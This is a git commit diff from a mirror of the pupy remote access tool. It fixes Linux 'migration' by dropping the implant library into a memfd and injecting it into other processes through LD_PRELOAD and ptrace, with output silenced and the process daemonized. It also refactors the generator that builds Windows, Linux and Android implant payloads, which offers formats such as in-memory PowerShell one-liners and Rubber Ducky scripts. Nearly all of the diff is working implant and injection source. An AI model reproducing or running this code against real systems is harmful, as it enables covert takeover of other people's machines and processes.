mirror of https://github.com/n1nj4sec/pupy.git
Fix migration (linux client) /w memfd
This commit is contained in:
parent
248094d89d
commit
4f1a508dd0
|
@ -18,7 +18,8 @@ else
|
|||
NAME := 86
|
||||
endif
|
||||
|
||||
LINUX_INJECT_CFLAGS := -include debug.h -include fixes.h -Dmain=linux_inject_main
|
||||
LINUX_INJECT_CFLAGS := -include debug.h -include fixes.h \
|
||||
-Dmain=linux_inject_main "-Drealpath=realpath2"
|
||||
|
||||
ifneq ($(DEBUG),)
|
||||
DEBUG_ADD := -debug
|
||||
|
@ -115,7 +116,7 @@ $(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).lin: main_exe.o $(PYOBJS) $(COMMON_OBJS)
|
|||
$(CC) $(PIE) $+ -o $@ $(LDFLAGS)
|
||||
|
||||
$(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).so: main_so.o $(PYOBJS) $(COMMON_OBJS)
|
||||
$(CC) -shared $+ -o $@ $(LDFLAGS)
|
||||
$(CC) -shared $+ -o $@ $(LDFLAGS) -Wl,-soname,pupyx$(NAME).so
|
||||
|
||||
.PHONY: clean all
|
||||
|
||||
|
|
|
@ -75,7 +75,7 @@ int daemonize(int argc, char *argv[], char *env[], bool exit_parent) {
|
|||
}
|
||||
}
|
||||
|
||||
if (fdenv < 0 && readlink("/proc/self/exe", self, sizeof(self)-1) != -1) {
|
||||
if (fdenv < 0 && readlink("/proc/self/exe", self, sizeof(self)-1) != -1 && exit_parent) {
|
||||
#ifdef USE_ENV_ARGS
|
||||
char *set_argv0 = getenv(DEFAULT_ENV_SA0);
|
||||
char *set_cwd = getenv(DEFAULT_ENV_SCWD);
|
||||
|
@ -234,11 +234,8 @@ int daemonize(int argc, char *argv[], char *env[], bool exit_parent) {
|
|||
close(fdenv);
|
||||
}
|
||||
|
||||
/* Set default "safe" path */
|
||||
setenv("PATH", DEFAULT_SAFE_PATH, 1);
|
||||
|
||||
/* Daemonize */
|
||||
|
||||
if (!exit_parent) {
|
||||
if (pipe(pipes) == -1) {
|
||||
return -1;
|
||||
|
|
|
@ -8,4 +8,9 @@
|
|||
#define PTRACE_GETSIGINFO 0x4202
|
||||
#endif
|
||||
|
||||
static inline
|
||||
char *realpath2(const char *path, char *resolved_path) {
|
||||
return path;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
|
|
@ -3,6 +3,7 @@
|
|||
|
||||
#define _GNU_SOURCE
|
||||
#include <sys/syscall.h>
|
||||
#include <string.h>
|
||||
|
||||
#define MFD_CLOEXEC 0x0001U
|
||||
#define MFD_ALLOW_SEALING 0x0002U
|
||||
|
|
|
@ -13,6 +13,7 @@
|
|||
#include <arpa/inet.h>
|
||||
#include "tmplibrary.h"
|
||||
#include <sys/mman.h>
|
||||
#include "memfd.h"
|
||||
|
||||
#include "resources_library_compressed_string_txt.c"
|
||||
|
||||
|
@ -22,8 +23,6 @@ static const char module_doc[] = "Builtins utilities for pupy";
|
|||
|
||||
static const char pupy_config[8192]="####---PUPY_CONFIG_COMES_HERE---####\n";
|
||||
|
||||
extern const uint32_t dwPupyArch;
|
||||
|
||||
#include "lzmaunpack.c"
|
||||
|
||||
static PyObject *Py_get_modules(PyObject *self, PyObject *args)
|
||||
|
@ -63,13 +62,13 @@ Py_get_pupy_config(PyObject *self, PyObject *args)
|
|||
|
||||
static PyObject *Py_get_arch(PyObject *self, PyObject *args)
|
||||
{
|
||||
if(dwPupyArch==32){
|
||||
return Py_BuildValue("s", "x86");
|
||||
}
|
||||
else if(dwPupyArch==64){
|
||||
return Py_BuildValue("s", "x64");
|
||||
}
|
||||
#ifdef __x86_64__
|
||||
return Py_BuildValue("s", "x64");
|
||||
#elif __i386__
|
||||
return Py_BuildValue("s", "x86");
|
||||
#else
|
||||
return Py_BuildValue("s", "unknown");
|
||||
#endif
|
||||
}
|
||||
|
||||
static PyObject *Py_ld_preload_inject_dll(PyObject *self, PyObject *args)
|
||||
|
@ -82,30 +81,55 @@ static PyObject *Py_ld_preload_inject_dll(PyObject *self, PyObject *args)
|
|||
if (!PyArg_ParseTuple(args, "zs#O", &lpCmdBuffer, &lpDllBuffer, &dwDllLenght, &py_HookExit))
|
||||
return NULL;
|
||||
|
||||
char ldobject[PATH_MAX]={};
|
||||
if (drop_library(ldobject, PATH_MAX, lpDllBuffer, dwDllLenght) < 0) {
|
||||
char ldobject[PATH_MAX] = {};
|
||||
int cleanup_workaround = 0;
|
||||
int cleanup = 1;
|
||||
|
||||
int fd = drop_library(ldobject, PATH_MAX, lpDllBuffer, dwDllLenght);
|
||||
if (fd < 0) {
|
||||
dprint("Couldn't drop library: %m\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (is_memfd_path(ldobject)) {
|
||||
char buf2[PATH_MAX];
|
||||
strncpy(buf2, ldobject, sizeof(buf2));
|
||||
snprintf(ldobject, sizeof(ldobject), "/proc/%d/fd/%d", getpid(), fd);
|
||||
cleanup_workaround = 1;
|
||||
cleanup = 0;
|
||||
}
|
||||
|
||||
char cmdline[PATH_MAX*2] = {};
|
||||
snprintf(
|
||||
cmdline, sizeof(cmdline), "LD_PRELOAD=%s HOOK_EXIT=%d CLEANUP=1 exec %s",
|
||||
cmdline, sizeof(cmdline), "LD_PRELOAD=%s HOOK_EXIT=%d CLEANUP=%d exec %s 1>/dev/null 2>/dev/null",
|
||||
ldobject,
|
||||
PyObject_IsTrue(py_HookExit),
|
||||
cleanup,
|
||||
lpCmdBuffer,
|
||||
ldobject
|
||||
);
|
||||
|
||||
dprint("Program to execute in child context: %s\n", cmdline);
|
||||
|
||||
prctl(4, 1, 0, 0, 0);
|
||||
|
||||
pid_t pid = daemonize(0, NULL, NULL, false);
|
||||
if (pid == 0) {
|
||||
/* Daemonized context */
|
||||
dprint("Daemonization complete - client\n");
|
||||
execl("/bin/sh", "/bin/sh", "-c", cmdline, NULL);
|
||||
unlink(ldobject);
|
||||
exit(255);
|
||||
}
|
||||
|
||||
dprint("Daemonization complete - server\n");
|
||||
if (cleanup_workaround) {
|
||||
sleep(2);
|
||||
close(fd);
|
||||
}
|
||||
|
||||
prctl(4, 0, 0, 0, 0);
|
||||
|
||||
if (pid == -1) {
|
||||
dprint("Couldn\'t daemonize: %m\n");
|
||||
unlink(ldobject);
|
||||
|
@ -121,26 +145,25 @@ static PyObject *Py_reflective_inject_dll(PyObject *self, PyObject *args)
|
|||
const char *lpDllBuffer;
|
||||
uint32_t dwDllLenght;
|
||||
const char *cpCommandLine;
|
||||
PyObject* py_is64bit;
|
||||
int is64bits;
|
||||
if (!PyArg_ParseTuple(args, "Is#O", &dwPid, &lpDllBuffer, &dwDllLenght, &py_is64bit))
|
||||
|
||||
if (!PyArg_ParseTuple(args, "Is#", &dwPid, &lpDllBuffer, &dwDllLenght))
|
||||
return NULL;
|
||||
|
||||
dprint("Injection requested. PID: %d\n", dwPid);
|
||||
|
||||
is64bits = PyObject_IsTrue(py_is64bit);
|
||||
if(is64bits){
|
||||
is64bits=64;
|
||||
}else{
|
||||
is64bits=32;
|
||||
}
|
||||
|
||||
char buf[PATH_MAX]={};
|
||||
if (!drop_library(buf, PATH_MAX, lpDllBuffer, dwDllLenght)) {
|
||||
int fd = drop_library(buf, PATH_MAX, lpDllBuffer, dwDllLenght);
|
||||
if (!fd) {
|
||||
dprint("Couldn't drop library: %m\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (is_memfd_path(buf)) {
|
||||
char buf2[PATH_MAX];
|
||||
strncpy(buf2, buf, sizeof(buf2));
|
||||
snprintf(buf, sizeof(buf), "/proc/%d/fd/%d", getpid(), fd);
|
||||
}
|
||||
|
||||
char pid[20] = {};
|
||||
snprintf(pid, sizeof(pid), "%d", dwPid);
|
||||
|
||||
|
@ -148,9 +171,14 @@ static PyObject *Py_reflective_inject_dll(PyObject *self, PyObject *args)
|
|||
"linux-inject", "-p", pid, buf, NULL
|
||||
};
|
||||
|
||||
dprint("Injecting %s to %d\n", pid, buf);
|
||||
|
||||
prctl(4, 1, 0, 0, 0);
|
||||
|
||||
pid_t injpid = fork();
|
||||
if (injpid == -1) {
|
||||
dprint("Couldn't fork\n");
|
||||
close(fd);
|
||||
unlink(buf);
|
||||
return PyBool_FromLong(1);
|
||||
}
|
||||
|
@ -164,9 +192,15 @@ static PyObject *Py_reflective_inject_dll(PyObject *self, PyObject *args)
|
|||
waitpid(injpid, &status, 0);
|
||||
}
|
||||
|
||||
prctl(4, 0, 0, 0, 0);
|
||||
|
||||
dprint("Injection code: %d\n", status);
|
||||
|
||||
unlink(buf);
|
||||
/* close(fd); */
|
||||
|
||||
if (WEXITSTATUS(status) == 0) {
|
||||
dprint("Injection successful\n");
|
||||
return PyBool_FromLong(1);
|
||||
} else {
|
||||
dprint("Injection failed\n");
|
||||
|
@ -194,7 +228,7 @@ static PyMethodDef methods[] = {
|
|||
{ "get_pupy_config", Py_get_pupy_config, METH_NOARGS, "get_pupy_config() -> string" },
|
||||
{ "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" },
|
||||
{ "get_modules", Py_get_modules, METH_NOARGS, "get pupy library" },
|
||||
{ "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\nreflectively inject a dll into a process. raise an Exception on failure" },
|
||||
{ "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer)\nreflectively inject a dll into a process. raise an Exception on failure" },
|
||||
{ "load_dll", Py_load_dll, METH_VARARGS, "load_dll(dllname, raw_dll) -> bool" },
|
||||
{ "ld_preload_inject_dll", Py_ld_preload_inject_dll, METH_VARARGS, "ld_preload_inject_dll(cmdline, dll_buffer, hook_exit) -> pid" },
|
||||
{ NULL, NULL }, /* Sentinel */
|
||||
|
|
|
@ -213,9 +213,7 @@ void *memdlopen(const char *soname, const char *buffer, size_t size) {
|
|||
|
||||
if (!base) {
|
||||
dprint("Couldn't load library %s (%s): %s\n", soname, buf, dlerror());
|
||||
#ifndef DEBUG
|
||||
unlink(buf);
|
||||
#endif
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
@ -226,8 +224,6 @@ void *memdlopen(const char *soname, const char *buffer, size_t size) {
|
|||
record->base = base;
|
||||
list_add(libraries, record);
|
||||
|
||||
#ifndef DEBUG
|
||||
unlink(buf);
|
||||
#endif
|
||||
return base;
|
||||
}
|
||||
|
|
|
@ -24,7 +24,7 @@ class GetInfo(PupyModule):
|
|||
]
|
||||
pupyKeys = [ "transport", "launcher", "launcher_args" ]
|
||||
windKeys = [ "uac_lvl","intgty_lvl" ]
|
||||
linuxKeys = [ "daemonize" ]
|
||||
linuxKeys = []
|
||||
macKeys = []
|
||||
|
||||
infos = []
|
||||
|
@ -54,7 +54,7 @@ class GetInfo(PupyModule):
|
|||
elif self.client.is_darwin():
|
||||
for k in macKeys:
|
||||
infos.append((k,self.client.desc[k]))
|
||||
|
||||
|
||||
elif self.client.is_android():
|
||||
self.client.load_package("pupydroid.utils")
|
||||
wifiConnected = self.client.conn.modules["pupydroid.utils"].isWiFiConnected()
|
||||
|
@ -83,7 +83,7 @@ class GetInfo(PupyModule):
|
|||
deviceId = self.client.conn.modules["pupydroid.utils"].getDeviceId()
|
||||
infos.append(("device_id",deviceId))
|
||||
#Needs API level 23. When this API will be used, these 2 following line should be uncommented
|
||||
#simInfo = self.client.conn.modules["pupydroid.utils"].getSimInfo()
|
||||
#simInfo = self.client.conn.modules["pupydroid.utils"].getSimInfo()
|
||||
#infos.append(("sim_count",simInfo))
|
||||
if ("absent" not in simState) and ("unknown" not in simState):
|
||||
phoneNb = self.client.conn.modules["pupydroid.utils"].getPhoneNumber()
|
||||
|
@ -110,7 +110,7 @@ class GetInfo(PupyModule):
|
|||
infos.append(('platform', '{}/{}'.format(
|
||||
self.client.platform, self.client.arch or '?'
|
||||
)))
|
||||
|
||||
|
||||
#For remplacing None or "" value by "?"
|
||||
infoTemp = []
|
||||
for i, (key, value) in enumerate(infos):
|
||||
|
|
|
@ -1,6 +1,8 @@
|
|||
import pupygen
|
||||
import time
|
||||
import gzip, cStringIO
|
||||
import random
|
||||
import string
|
||||
|
||||
def has_proc_migrated(client, pid):
|
||||
for c in client.pupsrv.clients:
|
||||
|
@ -18,12 +20,10 @@ def has_proc_migrated(client, pid):
|
|||
return None
|
||||
|
||||
def get_payload(module, compressed=True):
|
||||
if module.client.is_proc_arch_64_bits():
|
||||
module.info('Generate pupyx64.so payload')
|
||||
dllbuf = pupygen.get_edit_pupyx64_so(module.client.get_conf())
|
||||
else:
|
||||
module.info('Generate pupyx86.so payload')
|
||||
dllbuf = pupygen.get_edit_pupyx86_so(module.client.get_conf())
|
||||
dllbuf, _, _ = pupygen.generate_binary_from_template(
|
||||
module.client.get_conf(), 'linux',
|
||||
arch=module.client.arch, shared=True
|
||||
)
|
||||
|
||||
if not compressed:
|
||||
return dllbuf
|
||||
|
@ -37,17 +37,18 @@ def get_payload(module, compressed=True):
|
|||
|
||||
def wait_connect(module, pid):
|
||||
module.success("waiting for a connection from the DLL ...")
|
||||
while True:
|
||||
c=has_proc_migrated(module.client, pid)
|
||||
for x in xrange(10):
|
||||
c = has_proc_migrated(module.client, pid)
|
||||
if c:
|
||||
module.success("got a connection from migrated DLL !")
|
||||
c.desc["id"]=module.client.desc["id"]
|
||||
c.desc["id"] = module.client.desc["id"]
|
||||
try:
|
||||
module.client.conn.exit()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
break
|
||||
time.sleep(0.1)
|
||||
try:
|
||||
module.client.conn.exit()
|
||||
except Exception:
|
||||
pass
|
||||
time.sleep(1)
|
||||
|
||||
def ld_preload(module, command, wait_thread=False, keep=False):
|
||||
payload = get_payload(module)
|
||||
|
@ -69,7 +70,7 @@ def migrate(module, pid, keep=False):
|
|||
payload = get_payload(module)
|
||||
|
||||
r = module.client.conn.modules['pupy'].reflective_inject_dll(
|
||||
pid, payload, 0
|
||||
pid, payload
|
||||
)
|
||||
|
||||
if r:
|
||||
|
|
|
@ -20,10 +20,15 @@ def migrate(module, pid, keep=False, timeout=30):
|
|||
if module.client.conn.modules['pupwinutils.processes'].is_process_64(pid):
|
||||
isProcess64bits=True
|
||||
module.success("process is 64 bits")
|
||||
dllbuff=pupygen.get_edit_pupyx64_dll(module.client.get_conf())
|
||||
else:
|
||||
module.success("process is 32 bits")
|
||||
dllbuff=pupygen.get_edit_pupyx86_dll(module.client.get_conf())
|
||||
|
||||
dllbuff, filename, _ = pupygen.generate_binary_from_template(
|
||||
module.client.get_conf(), 'windows',
|
||||
arch=module.client.arch, shared=True
|
||||
)
|
||||
module.success("Template: {}".format(filename))
|
||||
|
||||
module.success("injecting DLL in target process %s ..."%pid)
|
||||
module.client.conn.modules['pupy'].reflective_inject_dll(pid, dllbuff, isProcess64bits)
|
||||
module.success("DLL injected !")
|
||||
|
|
192
pupy/pupygen.py
192
pupy/pupygen.py
|
@ -29,46 +29,6 @@ ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__)))
|
|||
if __name__ == '__main__':
|
||||
Credentials.DEFAULT_ROLE = 'CLIENT'
|
||||
|
||||
def get_edit_pupyx86_dll(conf, debug=False):
|
||||
if debug:
|
||||
return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx86d.dll"), conf)
|
||||
return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx86.dll"), conf)
|
||||
|
||||
def get_edit_pupyx64_dll(conf, debug=False):
|
||||
if debug:
|
||||
return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx64d.dll"), conf)
|
||||
return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx64.dll"), conf)
|
||||
|
||||
def get_edit_pupyx86_exe(conf, debug=False):
|
||||
if debug:
|
||||
return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx86d.exe"), conf)
|
||||
return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx86.exe"), conf)
|
||||
|
||||
def get_edit_pupyx64_exe(conf, debug=False):
|
||||
if debug:
|
||||
return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx64d.exe"), conf)
|
||||
return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx64.exe"), conf)
|
||||
|
||||
def get_edit_pupyx86_lin(conf, debug=False):
|
||||
if debug:
|
||||
return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx86d.lin"), conf)
|
||||
return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx86.lin"), conf)
|
||||
|
||||
def get_edit_pupyx64_lin(conf, debug=False):
|
||||
if debug:
|
||||
return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx64d.lin"), conf)
|
||||
return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx64.lin"), conf)
|
||||
|
||||
def get_edit_pupyx86_so(conf, debug=False):
|
||||
if debug:
|
||||
return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx86d.so"), conf)
|
||||
return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx86.so"), conf)
|
||||
|
||||
def get_edit_pupyx64_so(conf, debug=False):
|
||||
if debug:
|
||||
return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx64d.so"), conf)
|
||||
return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx64.so"), conf)
|
||||
|
||||
def get_edit_binary(path, conf):
|
||||
logging.debug("generating binary %s with conf: %s"%(path, conf))
|
||||
binary=b""
|
||||
|
@ -205,11 +165,12 @@ def updateTar(arcpath, arcname, file_path):
|
|||
finally:
|
||||
shutil.rmtree(tempdir)
|
||||
|
||||
def get_edit_apk(path, new_path, conf):
|
||||
tempdir=tempfile.mkdtemp(prefix="tmp_pupy_")
|
||||
def get_edit_apk(path, conf):
|
||||
tempdir = tempfile.mkdtemp(prefix="tmp_pupy_")
|
||||
fd, tempapk = tempfile.mkstemp(prefix="tmp_pupy_")
|
||||
try:
|
||||
packed_payload=pack_py_payload(get_raw_conf(conf))
|
||||
shutil.copy(path, new_path)
|
||||
shutil.copy(path, tempapk)
|
||||
|
||||
#extracting the python-for-android install tar from the apk
|
||||
zf=zipfile.ZipFile(path,'r')
|
||||
|
@ -226,11 +187,11 @@ def get_edit_apk(path, new_path, conf):
|
|||
updateTar(os.path.join(tempdir,"assets/private.mp3"), "service/pp.pyo", os.path.join(tempdir,"pp.pyo"))
|
||||
#repacking the tar in the apk
|
||||
with open(os.path.join(tempdir,"assets/private.mp3"), 'r') as t:
|
||||
updateZip(new_path, "assets/private.mp3", t.read())
|
||||
updateZip(tempapk, "assets/private.mp3", t.read())
|
||||
|
||||
#signing the tar
|
||||
try:
|
||||
res=subprocess.check_output("jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore crypto/pupy-apk-release-key.keystore -storepass pupyp4ssword '%s' pupy_key"%new_path, shell=True)
|
||||
res=subprocess.check_output("jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore crypto/pupy-apk-release-key.keystore -storepass pupyp4ssword '%s' pupy_key"%tempapk, shell=True)
|
||||
except OSError as e:
|
||||
if e.errno ==os.errno.ENOENT:
|
||||
print "Please install jarsigner first."
|
||||
|
@ -238,9 +199,56 @@ def get_edit_apk(path, new_path, conf):
|
|||
raise e
|
||||
# -tsa http://timestamp.digicert.com
|
||||
print(res)
|
||||
content = b''
|
||||
with open(tempapk) as apk:
|
||||
return apk.read()
|
||||
|
||||
finally:
|
||||
#cleaning up
|
||||
shutil.rmtree(tempdir, ignore_errors=True)
|
||||
os.unlink(tempapk)
|
||||
|
||||
def generate_binary_from_template(config, osname, arch=None, shared=False, debug=False):
|
||||
TEMPLATE_FMT = 'pupy{arch}{debug}.{ext}'
|
||||
ARCH_CONVERT = {
|
||||
'amd64': 'x64', 'x86_64': 'x64',
|
||||
'i386': 'x86', 'i486': 'x86', 'i586': 'x86', 'i686': 'x86',
|
||||
}
|
||||
|
||||
arch = ARCH_CONVERT.get(arch, arch)
|
||||
|
||||
CLIENTS = {
|
||||
'android': (get_edit_apk, 'pupy.apk', False),
|
||||
'linux': (get_edit_binary, TEMPLATE_FMT, True),
|
||||
'windows': (get_edit_binary, TEMPLATE_FMT, False),
|
||||
}
|
||||
|
||||
if not osname in CLIENTS.keys():
|
||||
raise ValueError('Unknown OS ({}), known = '.format(
|
||||
osname, ', '.join(CLIENTS.keys())))
|
||||
|
||||
generator, template, makex = CLIENTS[osname]
|
||||
|
||||
if '{arch}' in template and not arch:
|
||||
raise ValueError('arch required for the target OS ({})'.format(osname))
|
||||
|
||||
shared_ext = 'dll' if osname == 'windows' else 'so'
|
||||
non_shared_ext = 'exe' if osname == 'windows' else 'lin'
|
||||
ext = shared_ext if shared else non_shared_ext
|
||||
debug = 'd' if debug else ''
|
||||
|
||||
if shared:
|
||||
makex = False
|
||||
|
||||
filename = template.format(arch=arch, debug=debug, ext=ext)
|
||||
template = os.path.join(
|
||||
ROOT, 'payload_templates', filename
|
||||
)
|
||||
|
||||
if not os.path.isfile(template):
|
||||
raise ValueError('Template not found ({})'.format(template))
|
||||
|
||||
return generator(template, config), filename, makex
|
||||
|
||||
def load_scriptlets():
|
||||
scl={}
|
||||
|
@ -290,18 +298,13 @@ def parse_scriptlets(args_scriptlet, debug=False):
|
|||
class ListOptions(argparse.Action):
|
||||
def __call__(self, parser, namespace, values, option_string=None):
|
||||
print colorize("## available formats :", "green")+" usage: -f <format>"
|
||||
print "\t- exe_86, exe_x64 : generate PE exe for windows"
|
||||
print "\t- dll_86, dll_x64 : generate reflective dll for windows"
|
||||
print "\t- lin_x86, lin_x64 : generate a ELF binary for linux"
|
||||
print "\t- so_x86, so_x64 : generate a ELF .so for linux"
|
||||
print "\t- client : generate client binary"
|
||||
print "\t- py : generate a fully packaged python file (with all the dependencies packaged and executed from memory), all os (need the python interpreter installed)"
|
||||
print "\t- pyinst : generate a python file compatible with pyinstaller"
|
||||
print "\t- py_oneliner : same as \"py\" format but served over http to load it from memory with a single command line."
|
||||
print "\t- ps1 : generate ps1 file which embeds pupy dll (x86-x64) and inject it to current process."
|
||||
print "\t- ps1_oneliner : load pupy remotely from memory with a single command line using powershell."
|
||||
print "\t- rubber_ducky : generate a Rubber Ducky script and inject.bin file (Windows Only)."
|
||||
print "\t- apk : generate a apk for running pupy on android"
|
||||
|
||||
print ""
|
||||
print colorize("## available transports :","green")+" usage: -t <transport>"
|
||||
for name, tc in transports.iteritems():
|
||||
|
@ -317,10 +320,19 @@ class ListOptions(argparse.Action):
|
|||
print '\n'.join(["\t"+x for x in sc.get_help().split("\n")])
|
||||
exit()
|
||||
|
||||
PAYLOAD_FORMATS=['apk', 'lin_x86', 'lin_x64', 'so_x86', 'so_x64', 'exe_x86', 'exe_x64', 'dll_x86', 'dll_x64', 'py', 'pyinst', 'py_oneliner', 'ps1', 'ps1_oneliner', 'rubber_ducky']
|
||||
PAYLOAD_FORMATS = [
|
||||
'client', 'py', 'pyinst', 'py_oneliner', 'ps1', 'ps1_oneliner', 'rubber_ducky'
|
||||
]
|
||||
|
||||
CLIENT_OS = [ 'android', 'windows', 'linux' ]
|
||||
CLIENT_ARCH = [ 'x86', 'x64' ]
|
||||
|
||||
if __name__=="__main__":
|
||||
parser = argparse.ArgumentParser(description='Generate payloads for windows, linux, osx and android.')
|
||||
parser.add_argument('-f', '--format', default='exe_x86', choices=PAYLOAD_FORMATS, help="(default: exe_x86)")
|
||||
parser.add_argument('-f', '--format', default='client', choices=PAYLOAD_FORMATS, help="(default: client)")
|
||||
parser.add_argument('-O', '--os', default='windows', choices=CLIENT_OS, help='Target OS (default: windows)')
|
||||
parser.add_argument('-A', '--arch', default='x86', choices=CLIENT_ARCH, help='Target arch (default: x86)')
|
||||
parser.add_argument('-S', '--shared', default=False, action='store_true', help='Create shared object')
|
||||
parser.add_argument('-o', '--output', help="output path")
|
||||
parser.add_argument('-s', '--scriptlet', default=[], action='append', help="offline python scriptlets to execute before starting the connection. Multiple scriptlets can be privided.")
|
||||
parser.add_argument('-l', '--list', action=ListOptions, nargs=0, help="list available formats, transports, scriptlets and options")
|
||||
|
@ -368,62 +380,24 @@ if __name__=="__main__":
|
|||
conf['launcher_args']=args.launcher_args
|
||||
conf['offline_script']=script_code
|
||||
outpath=args.output
|
||||
if args.format=="exe_x86":
|
||||
binary=get_edit_pupyx86_exe(conf, debug=args.debug)
|
||||
if not outpath:
|
||||
outpath="pupyx86.exe"
|
||||
with open(outpath, 'wb') as w:
|
||||
w.write(binary)
|
||||
elif args.format=="lin_x86":
|
||||
binary=get_edit_pupyx86_lin(conf, debug=args.debug)
|
||||
if not outpath:
|
||||
outpath="pupyx86.lin"
|
||||
with open(outpath, 'wb') as w:
|
||||
w.write(binary)
|
||||
os.chmod(outpath, 0711)
|
||||
elif args.format=="so_x86":
|
||||
binary=get_edit_pupyx86_lin(conf, debug=args.debug)
|
||||
if not outpath:
|
||||
outpath="pupyx86.so"
|
||||
with open(outpath, 'wb') as w:
|
||||
w.write(binary)
|
||||
os.chmod(outpath, 0711)
|
||||
elif args.format=="lin_x64":
|
||||
binary=get_edit_pupyx64_lin(conf, debug=args.debug)
|
||||
if not outpath:
|
||||
outpath="pupyx64.lin"
|
||||
with open(outpath, 'wb') as w:
|
||||
w.write(binary)
|
||||
os.chmod(outpath, 0711)
|
||||
elif args.format=="so_x64":
|
||||
binary=get_edit_pupyx64_lin(conf, debug=args.debug)
|
||||
if not outpath:
|
||||
outpath="pupyx64.so"
|
||||
with open(outpath, 'wb') as w:
|
||||
w.write(binary)
|
||||
os.chmod(outpath, 0711)
|
||||
elif args.format=="exe_x64":
|
||||
binary=get_edit_pupyx64_exe(conf, debug=args.debug)
|
||||
if not outpath:
|
||||
outpath="pupyx64.exe"
|
||||
with open(outpath, 'wb') as w:
|
||||
w.write(binary)
|
||||
elif args.format=="dll_x64":
|
||||
binary=get_edit_pupyx64_dll(conf, debug=args.debug)
|
||||
if not outpath:
|
||||
outpath="pupyx64.dll"
|
||||
with open(outpath, 'wb') as w:
|
||||
w.write(binary)
|
||||
elif args.format=="dll_x86":
|
||||
binary=get_edit_pupyx86_dll(conf, debug=args.debug)
|
||||
if not outpath:
|
||||
outpath="pupyx86.dll"
|
||||
with open(outpath, 'wb') as w:
|
||||
w.write(binary)
|
||||
elif args.format=="apk":
|
||||
if not outpath:
|
||||
outpath="pupy.apk"
|
||||
get_edit_apk(os.path.join(ROOT, "payload_templates","pupy.apk"), outpath, conf)
|
||||
if args.format=="client":
|
||||
data, filename, makex = generate_binary_from_template(
|
||||
conf, args.os,
|
||||
arch=args.arch, shared=args.shared, debug=args.debug
|
||||
)
|
||||
outpath = outpath or filename
|
||||
|
||||
try:
|
||||
os.unlink(outpath)
|
||||
except:
|
||||
pass
|
||||
|
||||
with open(outpath, 'w') as out:
|
||||
out.write(data)
|
||||
|
||||
if makex:
|
||||
os.chmod(outpath, 0511)
|
||||
|
||||
elif args.format=="py" or args.format=="pyinst":
|
||||
linux_modules = ""
|
||||
if not outpath:
|
||||
|
|
|
@ -85,7 +85,10 @@ class PupyServer(threading.Thread):
|
|||
return new_id
|
||||
|
||||
def free_id(self, id):
|
||||
self._current_id.remove(int(id))
|
||||
try:
|
||||
self._current_id.remove(int(id))
|
||||
except KeyError:
|
||||
pass
|
||||
|
||||
def register_handler(self, instance):
|
||||
""" register the handler instance, typically a PupyCmd, and PupyWeb in the futur"""
|
||||
|
@ -110,9 +113,9 @@ class PupyServer(threading.Thread):
|
|||
"conn" : conn,
|
||||
"address" : conn._conn._config['connid'].rsplit(':',1)[0],
|
||||
"launcher" : conn.get_infos("launcher"),
|
||||
"launcher_args" : obtain(conn.get_infos("launcher_args")),
|
||||
"transport" : obtain(conn.get_infos("transport")),
|
||||
"daemonize" : (True if obtain(conn.get_infos("daemonize")) else False),
|
||||
"launcher_args" : conn.get_infos("launcher_args"),
|
||||
"transport" : conn.get_infos("transport"),
|
||||
"daemonize" : (True if conn.get_infos("daemonize") else False),
|
||||
"native": conn.get_infos("native"),
|
||||
}
|
||||
client_info.update(l)
|
||||
|
|
Loading…
Reference in New Issue